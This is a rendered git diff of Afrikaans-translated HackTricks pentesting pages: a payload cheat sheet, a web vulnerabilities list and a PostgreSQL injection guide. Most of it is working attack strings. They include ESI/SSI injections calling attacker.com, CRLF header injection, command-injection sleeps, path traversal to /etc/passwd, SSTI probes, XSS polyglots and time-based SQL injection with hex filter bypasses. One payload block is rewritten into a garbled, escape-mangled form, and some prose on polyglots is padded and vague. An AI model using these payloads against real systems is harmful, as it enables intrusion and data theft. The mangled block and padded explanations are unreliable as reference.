<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
|
||||
## [Bedienerkant Aanvraagvervalsigting](../ssrf-server-side-request-forgery/)
|
||||
|
||||
Dieselfde toetse wat gebruik word vir Oop Herlei kan hier gebruik word.
|
||||
|
@ -296,6 +319,7 @@ Dieselfde toetse wat gebruik word vir Oop Herlei kan hier gebruik word.
|
|||
## [Bedienerkant Sjablooninspuiting](../ssti-server-side-template-injection/)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```markup
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
|
@ -304,53 +328,60 @@ ${7*7}
|
|||
${{7*7}}
|
||||
#{7*7}
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
|
||||
|
||||
- **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
- **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
- **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as HTML en JavaScript geïnterpreteer kan word. Dit kan gebruik word om kruisgevolg-aanvalle uit te voer.
|
||||
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as PDF en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die PDF-lêer geopen word.
|
||||
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat kode wat beide as JPEG en JavaScript geïnterpreteer kan word. Dit kan gebruik word om skadelike aksies uit te voer wanneer die JPEG-lêer geopen word.
|
||||
|
||||
Polyglote aanvalle kan baie gevaarlik wees omdat dit moeilik is om hulle te identifiseer en te blokkeer. Dit is belangrik vir beveiligingspersoneel om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om hulle te voorkom.
|
||||
|
||||
```python
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
```
|
||||
|
||||
## [XSLT-bedienerkant-inspuiting](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### Basiese Toetse
|
||||
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n lys van bekende polyglote aanvalle:
|
||||
|
||||
- HTML/JavaScript polyglote
|
||||
- PDF/JavaScript polyglote
|
||||
- ZIP/JavaScript polyglote
|
||||
- PNG/JavaScript polyglote
|
||||
- GIF/JavaScript polyglote
|
||||
- JPEG/JavaScript polyglote
|
||||
- SVG/JavaScript polyglote
|
||||
- MP4/JavaScript polyglote
|
||||
- MP3/JavaScript polyglote
|
||||
- WAV/JavaScript polyglote
|
||||
- PDF/Flash polyglote
|
||||
- ZIP/Flash polyglote
|
||||
- PNG/Flash polyglote
|
||||
- GIF/Flash polyglote
|
||||
- JPEG/Flash polyglote
|
||||
- SVG/Flash polyglote
|
||||
- MP4/Flash polyglote
|
||||
- MP3/Flash polyglote
|
||||
- WAV/Flash polyglote
|
||||
* HTML/JavaScript polyglote
|
||||
* PDF/JavaScript polyglote
|
||||
* ZIP/JavaScript polyglote
|
||||
* PNG/JavaScript polyglote
|
||||
* GIF/JavaScript polyglote
|
||||
* JPEG/JavaScript polyglote
|
||||
* SVG/JavaScript polyglote
|
||||
* MP4/JavaScript polyglote
|
||||
* MP3/JavaScript polyglote
|
||||
* WAV/JavaScript polyglote
|
||||
* PDF/Flash polyglote
|
||||
* ZIP/Flash polyglote
|
||||
* PNG/Flash polyglote
|
||||
* GIF/Flash polyglote
|
||||
* JPEG/Flash polyglote
|
||||
* SVG/Flash polyglote
|
||||
* MP4/Flash polyglote
|
||||
* MP3/Flash polyglote
|
||||
* WAV/Flash polyglote
|
||||
|
||||
Hierdie aanvalle kan gebruik word om verskeie tipes aanvalle uit te voer, soos XSS, CSRF, RCE en meer. Dit is belangrik om bewus te wees van hierdie aanvalstegnieke en om toepaslike maatreëls te tref om dit te voorkom.
|
||||
|
||||
```markup
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
|
||||
## XSS
|
||||
|
||||
### Basiese Toetse
|
||||
|
@ -359,7 +390,7 @@ Hierdie aanvalle kan gebruik word om verskeie tipes aanvalle uit te voer, soos X
|
|||
|
||||
Reflected XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n HTTP-verkrygingsversoek wat deur die webtoepassing verwerk word en dan teruggestuur word na die gebruiker. Die aanvaller probeer om die gebruiker se webblaaier te laat uitvoer van die skadelike kodering, wat kan lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
|
||||
|
||||
##### Basiese Reflected XSS-toets
|
||||
**Basiese Reflected XSS-toets**
|
||||
|
||||
Om 'n basiese reflected XSS-toets uit te voer, volg hierdie stappe:
|
||||
|
||||
|
@ -368,7 +399,7 @@ Om 'n basiese reflected XSS-toets uit te voer, volg hierdie stappe:
|
|||
3. Stuur die HTTP-verkrygingsversoek na die webtoepassing.
|
||||
4. As die skadelike kodering suksesvol uitgevoer word, sal 'n pop-up venster met die teks "XSS" verskyn.
|
||||
|
||||
##### Reflected XSS met HTML-invoerveld
|
||||
**Reflected XSS met HTML-invoerveld**
|
||||
|
||||
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
|
||||
|
||||
|
@ -378,7 +409,7 @@ As die teikenwebwerf 'n HTML-invoerveld gebruik om data te vertoon, kan jy die v
|
|||
|
||||
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
|
||||
|
||||
##### Reflected XSS met URL-parameter
|
||||
**Reflected XSS met URL-parameter**
|
||||
|
||||
As die teikenwebwerf URL-parameters gebruik om data te vertoon, kan jy die volgende skadelike invoer probeer:
|
||||
|
||||
|
@ -392,7 +423,7 @@ Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te slu
|
|||
|
||||
Stored XSS is 'n tipe aanval waar 'n aanvaller skadelike kodering insluit in 'n databasis of 'n ander permanente stoorplek wat deur die webtoepassing gebruik word. Wanneer 'n gebruiker die betrokke data ophaal of vertoon, word die skadelike kodering uitgevoer en kan dit lei tot die uitvoering van skadelike aksies op die gebruiker se rekenaar.
|
||||
|
||||
##### Basiese Stored XSS-toets
|
||||
**Basiese Stored XSS-toets**
|
||||
|
||||
Om 'n basiese stored XSS-toets uit te voer, volg hierdie stappe:
|
||||
|
||||
|
@ -401,7 +432,7 @@ Om 'n basiese stored XSS-toets uit te voer, volg hierdie stappe:
|
|||
3. Stuur die invoerveld na die webtoepassing en verseker dat die data gestoor word.
|
||||
4. Haal die data op wat jy gestoor het en kyk of die skadelike kodering uitgevoer word.
|
||||
|
||||
##### Stored XSS met HTML-invoerveld
|
||||
**Stored XSS met HTML-invoerveld**
|
||||
|
||||
As die teikenwebwerf 'n HTML-invoerveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
|
||||
|
||||
|
@ -411,7 +442,7 @@ As die teikenwebwerf 'n HTML-invoerveld gebruik om data te stoor en te vertoon,
|
|||
|
||||
Hierdie invoer sal die HTML-invoerveld se sluitende aanhalingsteken verbreek en jou in staat stel om skadelike kodering in te sluit.
|
||||
|
||||
##### Stored XSS met kommentaarveld
|
||||
**Stored XSS met kommentaarveld**
|
||||
|
||||
As die teikenwebwerf 'n kommentaarveld gebruik om data te stoor en te vertoon, kan jy die volgende skadelike invoer probeer:
|
||||
|
||||
|
@ -425,7 +456,7 @@ Hierdie invoer sal die skadelike kodering in 'n HTML-kommentaar verberg, maar di
|
|||
|
||||
DOM-based XSS is 'n tipe aanval waar die skadelike kodering direk in die Document Object Model (DOM) van die webblaaier ingesluit word. Die kodering word dan uitgevoer wanneer die webblaaier die betrokke DOM-elemente manipuleer.
|
||||
|
||||
##### Basiese DOM-based XSS-toets
|
||||
**Basiese DOM-based XSS-toets**
|
||||
|
||||
Om 'n basiese DOM-based XSS-toets uit te voer, volg hierdie stappe:
|
||||
|
||||
|
@ -433,7 +464,7 @@ Om 'n basiese DOM-based XSS-toets uit te voer, volg hierdie stappe:
|
|||
2. Voer 'n skadelike invoer in die invoerveld in, byvoorbeeld `<script>alert('XSS')</script>`.
|
||||
3. Kyk of die skadelike kodering uitgevoer word wanneer die betrokke DOM-elemente gemanipuleer word.
|
||||
|
||||
##### DOM-based XSS met URL-parameter
|
||||
**DOM-based XSS met URL-parameter**
|
||||
|
||||
As die teikenwebwerf URL-parameters gebruik om die DOM te manipuleer, kan jy die volgende skadelike invoer probeer:
|
||||
|
||||
|
@ -442,20 +473,23 @@ As die teikenwebwerf URL-parameters gebruik om die DOM te manipuleer, kan jy die
|
|||
```
|
||||
|
||||
Hierdie invoer sal die URL-parameter gebruik om die skadelike kodering in te sluit en die DOM te manipuleer.
|
||||
|
||||
```markup
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
|
||||
### Polyglote
|
||||
|
||||
'n Polyglote is 'n tipe van aanval wat gebruik maak van 'n enkele lêer wat verskillende tipes lêerformate bevat. Hierdie aanval maak gebruik van die feit dat sommige programme die lêerformaat ignoreer en slegs die inhoud van die lêer interpreteer. Dit kan gebruik word om sekuriteitsmaatreëls te omseil en toegang tot 'n stelsel te verkry. Die volgende is 'n paar voorbeelde van polyglote aanvalle:
|
||||
|
||||
- **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat beide HTML- en JavaScript-kode. Dit kan gebruik word om kruisgebruikerskripsie (XSS) aanvalle uit te voer.
|
||||
- **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat beide PDF- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n PDF-lêer in te sluit.
|
||||
- **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat beide JPEG- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n JPEG-lêer in te sluit.
|
||||
* **HTML/JavaScript polyglote**: Hierdie tipe polyglote bevat beide HTML- en JavaScript-kode. Dit kan gebruik word om kruisgebruikerskripsie (XSS) aanvalle uit te voer.
|
||||
* **PDF/JavaScript polyglote**: Hierdie tipe polyglote bevat beide PDF- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n PDF-lêer in te sluit.
|
||||
* **JPEG/JavaScript polyglote**: Hierdie tipe polyglote bevat beide JPEG- en JavaScript-kode. Dit kan gebruik word om skadelike kodes in 'n JPEG-lêer in te sluit.
|
||||
|
||||
Polyglote aanvalle is doeltreffend omdat dit die vertroue van die stelsel se veiligheidsmaatreëls misbruik. Dit is belangrik om bewus te wees van hierdie tipe aanvalle en om toepaslike maatreëls te tref om dit te voorkom.
|
||||
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
|
@ -483,6 +517,7 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
|
|||
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -492,7 +527,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,6 @@
|
|||
# Web Vulns Lys
|
||||
# Web Vulns List
|
||||
|
||||
## Web Vulns Lys
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,57 +9,26 @@
|
|||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
```python
|
||||
{{7*7}}[7*7]
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
%0d%0aLocation:%20http://attacker.com
|
||||
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
/etc/passwd
|
||||
../../../../../../etc/hosts
|
||||
..\..\..\..\..\..\etc/hosts
|
||||
/etc/hostname
|
||||
../../../../../../etc/hosts
|
||||
C:/windows/system32/drivers/etc/hosts
|
||||
../../../../../../windows/system32/drivers/etc/hosts
|
||||
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
|
||||
http://asdasdasdasd.burpcollab.com/mal.php
|
||||
\\asdasdasdasd.burpcollab.com/mal.php
|
||||
www.whitelisted.com
|
||||
www.whitelisted.com.evil.com
|
||||
https://google.com
|
||||
//google.com
|
||||
javascript:alert(1)
|
||||
(\\w*)+$
|
||||
([a-zA-Z]+)*$
|
||||
((a+)+)+$
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
|
||||
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
\`\`\`python \{{7\*7\}}\[7\*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /\*$(sleep 5)\`sleep 5\`\`\*/-sleep(5)-'/\*$(sleep 5)\`sleep 5\` #\*/-sleep(5)||'"||sleep(5)||"/\*\`\*/ %0d%0aLocation:%20http://attacker.com %3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E\
|
||||
|
||||
|
||||
## THIS IS AND INJECTED TITLE
|
||||
|
||||
/etc/passwd ../../../../../../etc/hosts ..\\..\\..\\..\\..\\..\etc/hosts /etc/hostname ../../../../../../etc/hosts C:/windows/system32/drivers/etc/hosts ../../../../../../windows/system32/drivers/etc/hosts ..\\..\\..\\..\\..\\..\windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\\asdasdasdasd.burpcollab.com/mal.php www.whitelisted.com www.whitelisted.com.evil.com https://google.com //google.com javascript:alert(1) (\\\w\*)+$ (\[a-zA-Z]+)\*$ ((a+)+)+$ x=>alert(/Chrome%20XSS%20filter%20bypass/);> \{{7\*7\}}${7\*7}<%= 7\*7 %>$\{{7\*7\}}#{7\*7}$\{{<%\[%'"\}}%\ " onclick=alert() a=" '">![](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/pocs-and-polygloths-cheatsheet/x) javascript:alert() javascript:"/\*'/\*\`/\*--> -->'"/>
|
||||
|
||||
 ">>![](https://github.com/carlospolop/hacktricks/blob/af/pentesting-web/pocs-and-polygloths-cheatsheet/x)" >\<script>prompt(1)\</script>@gmail.com\<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" >\</script>\<script>alert(1)\</script>">\<img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'">\<img src="http: //i.imgur.com/P8mL8.jpg">\
|
||||
" onclick=alert(1)//\<button ‘ onclick=alert(1)//> \*/ alert(1)//\
|
||||
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >\</SCRIPT>">'>\<SCRIPT>alert(String.fromCharCode(88,83,83)) \</SCRIPT>\
|
||||
\`\`\`\
|
||||
\<details>**Leer AWS-hacking van nul tot held met** [**htARTE (HackTricks AWS Red Team Expert)**](https://training.hacktricks.xyz/courses/arte)**!**
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# PostgreSQL inspuiting
|
||||
# PostgreSQL injection
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -50,27 +50,34 @@ Die manipulasie van strings kan jou help om **WAF's of ander beperkings te omsei
|
|||
### Gestapelde navrae
|
||||
|
||||
Onthou dat postgresql gestapelde navrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggegee word wanneer slegs 1 verwag word. Maar, jy kan steeds die gestapelde navrae misbruik via Tydinspuiting:
|
||||
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
|
||||
### XML truuks
|
||||
|
||||
**query\_to\_xml**
|
||||
|
||||
Hierdie funksie sal alle data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy baie data in net 1 ry wil aflaai:
|
||||
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
|
||||
**databasis\_naar\_xml**
|
||||
|
||||
Hierdie funksie sal die hele databasis in XML-formaat dump in net 1 ry (wees versigtig as die databasis baie groot is, omdat jy dit kan DoS of selfs jou eie klient kan laat vasloop):
|
||||
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
||||
### Strings in Hex
|
||||
|
||||
Indien jy **navrae** kan hardloop deur hulle **binne 'n string** te stuur (byvoorbeeld deur die **`query_to_xml`** funksie te gebruik). **Jy kan die convert\_from gebruik om die string as heks te stuur en sodoende filters te omseil:**
|
||||
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -80,21 +87,24 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
|
|||
# Bypass via boolean + error based + query_to_xml with hex
|
||||
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Verbode aanhalingstekens
|
||||
|
||||
As jy nie aanhalingstekens kan gebruik vir jou payload nie, kan jy dit omseil met `CHR` vir basiese klousules (_karakterkonkatenasie werk slegs vir basiese navrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-stellings nie_):
|
||||
|
||||
```
|
||||
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
||||
```
|
||||
|
||||
Of met `$`. Hierdie navrae lewer dieselfde resultate op:
|
||||
|
||||
```
|
||||
SELECT 'hacktricks';
|
||||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/af/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Indien jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die werf!** (_vloeiende Pools skryf- en spreekvaardigheid vereis_).
|
||||
|
||||
|
@ -110,6 +120,6 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue